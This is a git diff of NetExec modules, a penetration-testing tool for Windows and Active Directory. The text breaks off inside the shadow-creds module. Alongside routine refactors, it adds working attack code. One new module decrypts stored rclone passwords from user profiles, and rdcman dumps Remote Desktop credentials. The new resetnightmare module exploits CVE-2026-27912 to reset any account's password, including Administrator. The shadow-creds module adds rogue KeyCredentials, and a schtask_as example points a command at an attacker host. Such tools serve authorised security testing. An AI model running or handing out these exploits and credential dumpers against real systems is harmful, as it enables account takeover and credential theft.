from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5 import rprn
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, ULONG, WSTR
|
||||
from impacket.dcerpc.v5.rprn import checkNullString, STRING_HANDLE, PBYTE_ARRAY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
KNOWN_PROTOCOLS = {
|
||||
135: {"bindstr": r"ncacn_ip_tcp:%s[135]"},
|
||||
445: {"bindstr": r"ncacn_np:%s[\pipe\epmapper]"},
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
@@ -27,7 +23,6 @@ class NXCModule:
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.__string_binding = None
|
||||
self.port = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -37,35 +32,8 @@ class NXCModule:
|
||||
self.port = int(module_options["PORT"])
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]"
|
||||
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(stringbinding)
|
||||
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
# Connect to spoolss named pipe
|
||||
dce.connect()
|
||||
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
dce = NXCRPCConnection(connection).connect(r"\spoolss", rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to bind: {e}")
|
||||
return False
|
||||
|
||||
+1
-1
@@ -8,7 +8,7 @@ class NXCModule:
|
||||
Module by @_sandw1ch
|
||||
"""
|
||||
name = "pso"
|
||||
description = "Module to get the Fine Grained Password Policy/PSOs"
|
||||
description = "[REMOVED] This module moved to the core option --pso"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
import base64
|
||||
from Crypto.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rclone"
|
||||
description = "Searches for rclone.conf and deobscures credentials"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No module options."""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.share = "C$"
|
||||
base_dir = "\\Users"
|
||||
skip_dirs = {"Public", "Default", "Default User", "All Users"}
|
||||
|
||||
try:
|
||||
entries = connection.conn.listPath(self.share, base_dir + "\\*")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to list {base_dir}: {e}")
|
||||
return False
|
||||
|
||||
usernames = [
|
||||
entry.get_longname()
|
||||
for entry in entries
|
||||
if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."}
|
||||
]
|
||||
|
||||
if not usernames:
|
||||
context.log.warning("No user directories found.")
|
||||
return False
|
||||
|
||||
for username in usernames:
|
||||
conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf"
|
||||
context.log.info(f"Trying to read: {self.share + conf_path}")
|
||||
conf_data = ""
|
||||
|
||||
try:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile(self.share, conf_path, buf.write)
|
||||
conf_data = buf.getvalue().decode()
|
||||
except Exception:
|
||||
context.log.info(f"[{username}] rclone.conf not found.")
|
||||
continue
|
||||
|
||||
if "RCLONE_ENCRYPT_V0" in conf_data:
|
||||
context.log.fail(f"[{username}] Encrypted config — skipping.")
|
||||
continue
|
||||
|
||||
context.log.success(f"[{username}] rclone.conf found!")
|
||||
|
||||
for line in conf_data.splitlines():
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
|
||||
if "=" not in line:
|
||||
context.log.highlight(line.strip())
|
||||
continue
|
||||
|
||||
key, val = map(str.strip, line.split("=", 1))
|
||||
if key.lower() in ("pass", "password", "password2"):
|
||||
try:
|
||||
plain = self.deobscure(val)
|
||||
context.log.highlight(f"{key} = {plain}")
|
||||
except Exception as e:
|
||||
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
|
||||
else:
|
||||
context.log.highlight(line.strip())
|
||||
|
||||
return True
|
||||
|
||||
def deobscure(self, obscured):
|
||||
encrypted_password = self.base64_urlsafedecode(obscured)
|
||||
iv = encrypted_password[:AES.block_size]
|
||||
buf = encrypted_password[AES.block_size:]
|
||||
SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
|
||||
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = 4 - (len(string) % 4)
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+6
-33
@@ -1,55 +1,28 @@
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "rdcman"
|
||||
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
|
||||
context.log.success("Looting RDCMan secrets")
|
||||
|
||||
try:
|
||||
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
|
||||
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
|
||||
rdcman_files, rdgfiles = triage.triage_rdcman()
|
||||
for rdcman_file in rdcman_files:
|
||||
if rdcman_file is None:
|
||||
@@ -58,7 +31,7 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
@@ -66,6 +39,6 @@ class NXCModule:
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
+10
-1
@@ -101,7 +101,8 @@ class NXCModule:
|
||||
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
|
||||
else:
|
||||
context.log.fail(str(e))
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
if wmi_rdp._RdpWmi__dcom is not None:
|
||||
wmi_rdp._RdpWmi__dcom.disconnect()
|
||||
|
||||
|
||||
class RdpSmb:
|
||||
@@ -222,6 +223,14 @@ class RdpWmi:
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__timeout = timeout
|
||||
|
||||
self.__dcom = None
|
||||
if self.__currentprotocol == "wmi":
|
||||
# The wmi protocol already holds an authenticated IWbemLevel1Login:
|
||||
# reuse it instead of creating a second DCOMConnection to the same
|
||||
# target (whose disconnect would clash with the protocol's own)
|
||||
self.__iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
return
|
||||
|
||||
try:
|
||||
self.__dcom = DCOMConnection(
|
||||
self.__target,
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
# Dirk-jan Mollema (@_dirkjan)
|
||||
# dlive (@D1iv3)
|
||||
#
|
||||
# Refernece:
|
||||
# Reference:
|
||||
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
|
||||
# - https://github.com/fox-it/cve-2019-1040-scanner
|
||||
# - https://github.com/Dliv3/cve-2019-1040-scanner
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
|
||||
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
|
||||
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by @azoxlpf based on the ResetNightmare PoC and
|
||||
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
|
||||
"""
|
||||
|
||||
name = "resetnightmare"
|
||||
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.connection = None
|
||||
self.target = None
|
||||
self.new_password = None
|
||||
self.upn_user = None
|
||||
self.upn_password = None
|
||||
self.upn_nthash = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
|
||||
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
|
||||
|
||||
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
|
||||
NEW_PASSWORD New password to set on TARGET
|
||||
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
|
||||
UPN_PASSWORD Cleartext password of UPN_USER
|
||||
UPN_NTHASH NT Hash of UPN_USER
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_NTHASH='31d6cfe0d16ae931b73c59d7e0c089c0'
|
||||
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
|
||||
"""
|
||||
self.target = module_options.get("TARGET")
|
||||
self.new_password = module_options.get("NEW_PASSWORD")
|
||||
self.upn_user = module_options.get("UPN_USER")
|
||||
self.upn_password = module_options.get("UPN_PASSWORD", "")
|
||||
self.upn_nthash = module_options.get("UPN_NTHASH", "")
|
||||
|
||||
if not all([self.target, self.new_password, self.upn_user, self.upn_password or self.upn_nthash]):
|
||||
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and either UPN_PASSWORD or UPN_NTHASH are all required")
|
||||
return False
|
||||
|
||||
def resolve_account(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
|
||||
entries = parse_result_attributes(response)
|
||||
return entries[0]["distinguishedName"] if entries else None
|
||||
|
||||
def get_account_upn(self, sam):
|
||||
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
|
||||
entries = parse_result_attributes(response)
|
||||
if not entries:
|
||||
return None, None
|
||||
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
|
||||
|
||||
def set_upn(self, dn, upn):
|
||||
try:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
|
||||
return True
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
|
||||
return False
|
||||
|
||||
def restore_upn(self, dn, old_upn):
|
||||
try:
|
||||
if old_upn:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
|
||||
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
|
||||
else:
|
||||
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
|
||||
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
|
||||
except LDAPSessionError as e:
|
||||
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
|
||||
|
||||
def request_changepw_tgt(self):
|
||||
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", self.upn_nthash, "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
|
||||
except (KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Failed to request change-password TGT: {e}")
|
||||
return None
|
||||
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
|
||||
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
|
||||
|
||||
def reset_password(self, tgt):
|
||||
kdc = self.connection.kdcHost or self.connection.host
|
||||
try:
|
||||
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
|
||||
except (KPasswdError, KerberosError, OSError) as e:
|
||||
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
|
||||
return False
|
||||
return True
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
target_dn = self.resolve_account(self.target)
|
||||
if not target_dn:
|
||||
context.log.fail(f"Target '{self.target}' not found")
|
||||
return
|
||||
upn_dn, old_upn = self.get_account_upn(self.upn_user)
|
||||
if not upn_dn:
|
||||
context.log.fail(f"Controlled account '{self.upn_user}' not found")
|
||||
return
|
||||
|
||||
context.log.display(f"Target: {self.target} ({target_dn})")
|
||||
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
|
||||
|
||||
if not self.set_upn(upn_dn, self.target):
|
||||
return
|
||||
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
|
||||
|
||||
try:
|
||||
tgt = self.request_changepw_tgt()
|
||||
finally:
|
||||
self.restore_upn(upn_dn, old_upn)
|
||||
|
||||
if tgt is None:
|
||||
return
|
||||
|
||||
if not self.reset_password(tgt):
|
||||
return
|
||||
|
||||
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
|
||||
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
|
||||
@@ -1,9 +1,9 @@
|
||||
|
||||
import contextlib
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
@@ -24,18 +24,9 @@ class NXCModule:
|
||||
|
||||
connection.trigger_winreg()
|
||||
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce = None
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
# Open HKEY_LOCAL_MACHINE
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
@@ -47,7 +38,7 @@ class NXCModule:
|
||||
except DCERPCException:
|
||||
self.context.log.fail("No site Database found")
|
||||
except DCERPCException as e:
|
||||
if "rpc_s_access_denied" in str(e):
|
||||
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
|
||||
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error: {e}")
|
||||
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
from impacket.ldap import ldap, ldaptypes
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from ldap3.protocol.microsoft import security_descriptor_control
|
||||
from impacket.ldap.ldapasn1 import SDFlagsControl
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -56,7 +56,7 @@ class NXCModule:
|
||||
try:
|
||||
# Search for SCCM root object
|
||||
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
|
||||
controls = security_descriptor_control(sdflags=0x04)
|
||||
controls = [SDFlagsControl(criticality=False, flags=0x04)]
|
||||
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
|
||||
result = connection.ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
|
||||
+10
-19
@@ -44,7 +44,6 @@ class NXCModule:
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
|
||||
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
|
||||
"""
|
||||
self.logger = context.log
|
||||
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
|
||||
self.share = "C$"
|
||||
self.output_file_location = "\\Windows\\Temp"
|
||||
@@ -71,6 +70,7 @@ class NXCModule:
|
||||
self.template_name = module_options.get("TEMPLATE")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.logger = context.log
|
||||
|
||||
if self.command_to_run is None:
|
||||
self.logger.fail("You need to specify a CMD to run")
|
||||
@@ -173,24 +173,15 @@ class NXCModule:
|
||||
self.logger.display("Connecting to the remote Service control endpoint")
|
||||
try:
|
||||
exec_method = TSCH_EXEC(
|
||||
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
connection.smb_share_name,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.kerberos,
|
||||
connection.aesKey,
|
||||
connection.host,
|
||||
connection.kdcHost,
|
||||
connection.hash,
|
||||
self.logger,
|
||||
connection.args.get_output_tries,
|
||||
connection.args.share,
|
||||
self.run_task_as,
|
||||
self.command_to_run,
|
||||
self.output_filename,
|
||||
self.task_name,
|
||||
self.output_file_location,
|
||||
connection=connection,
|
||||
logger=self.logger,
|
||||
tries=connection.args.get_output_tries,
|
||||
share=connection.args.share,
|
||||
run_task_as=self.run_task_as,
|
||||
run_cmd=self.command_to_run,
|
||||
output_filename=self.output_filename,
|
||||
task_name=self.task_name,
|
||||
output_file_location=self.output_file_location,
|
||||
)
|
||||
|
||||
if self.show_output is False:
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from json import loads
|
||||
from traceback import format_exc as traceback_format_exc
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -46,24 +47,14 @@ class NXCModule:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.getSAMRResetInfo(context)
|
||||
|
||||
def getSAMRResetInfo(self, context):
|
||||
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.set_dport(445)
|
||||
rpc_transport.setRemoteHost(self.__targetIp)
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
|
||||
self.__nthash, self.__aesKey)
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
self.getSAMRResetInfo(context, connection)
|
||||
|
||||
def getSAMRResetInfo(self, context, connection):
|
||||
dce = None
|
||||
server_handle = None
|
||||
domain_handle = None
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
|
||||
# obtain server handle for samr connection
|
||||
resp = samr.hSamrConnect(dce)
|
||||
@@ -128,8 +119,11 @@ class NXCModule:
|
||||
context.log.debug(traceback_format_exc())
|
||||
|
||||
finally:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
try:
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error during SAMR cleanup: {e}")
|
||||
dce.disconnect()
|
||||
@@ -0,0 +1,249 @@
|
||||
import json
|
||||
from pathlib import Path
|
||||
|
||||
from cryptography.hazmat.primitives.serialization import NoEncryption
|
||||
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
|
||||
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
|
||||
from dsinternals.common.data.DNWithBinary import DNWithBinary
|
||||
from dsinternals.common.data.hello.KeyCredential import KeyCredential
|
||||
from dsinternals.system.DateTime import DateTime
|
||||
from dsinternals.system.Guid import Guid
|
||||
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Made by @NeffIsBack
|
||||
Heavily inspired by the pyWhisker project by Shutdown:
|
||||
https://github.com/ShutdownRepo/pywhisker
|
||||
"""
|
||||
|
||||
name = "shadow-creds"
|
||||
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
|
||||
supported_protocols = ["ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
|
||||
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
|
||||
DEVICE_ID KeyCredential device ID; required for info and remove
|
||||
JSONFILE JSON backup path; required for revert and optional for backup
|
||||
|
||||
Examples:
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=info DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=remove DEVICE_ID=<guid>
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=clear
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=backup JSONFILE=shadow-creds.json
|
||||
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=revert JSONFILE=shadow-creds.json
|
||||
"""
|
||||
self.target = module_options.get("TARGET", "").strip()
|
||||
self.action = module_options.get("ACTION", "list").lower().strip()
|
||||
self.device_id = module_options.get("DEVICE_ID")
|
||||
self.jsonfile = module_options.get("JSONFILE")
|
||||
|
||||
if not self.target:
|
||||
context.log.fail("TARGET is required")
|
||||
return False
|
||||
if self.action not in {"list", "add", "info", "remove", "clear", "backup", "revert"}:
|
||||
context.log.fail("ACTION must be one of: list, add, info, remove, clear, backup, revert")
|
||||
return False
|
||||
if self.action in {"info", "remove"} and not self.device_id:
|
||||
context.log.fail(f"DEVICE_ID is required for ACTION={self.action}")
|
||||
return False
|
||||
if self.action == "revert" and not self.jsonfile:
|
||||
context.log.fail("JSONFILE is required for ACTION=revert")
|
||||
return False
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=f"(&(objectClass=user)(sAMAccountName={self.target}))",
|
||||
attributes=["distinguishedName", "sAMAccountName", "objectClass", "msDS-KeyCredentialLink"],
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
if not resp_parsed:
|
||||
context.log.fail(f"Account '{self.target}' was not found")
|
||||
return
|
||||
|
||||
target_dn = resp_parsed[0]["distinguishedName"]
|
||||
raw_values = resp_parsed[0].get("msDS-KeyCredentialLink", [])
|
||||
raw_values = raw_values if isinstance(raw_values, list) else [raw_values]
|
||||
|
||||
if self.action == "list":
|
||||
self.list(self.parse_credentials(raw_values))
|
||||
elif self.action == "add":
|
||||
self.add(target_dn, "computer" in resp_parsed[0]["objectClass"])
|
||||
elif self.action == "info":
|
||||
self.info(self.parse_credentials(raw_values))
|
||||
elif self.action == "remove":
|
||||
self.remove(target_dn, self.parse_credentials(raw_values))
|
||||
elif self.action == "clear":
|
||||
self.clear(target_dn, raw_values)
|
||||
elif self.action == "backup":
|
||||
self.backup(raw_values)
|
||||
elif self.action == "revert":
|
||||
self.revert(target_dn)
|
||||
|
||||
def parse_credentials(self, raw_values):
|
||||
credentials = []
|
||||
for raw_value in raw_values:
|
||||
try:
|
||||
# AD stores each KeyCredential as a textual DN-Binary value.
|
||||
credentials.append(
|
||||
(
|
||||
raw_value,
|
||||
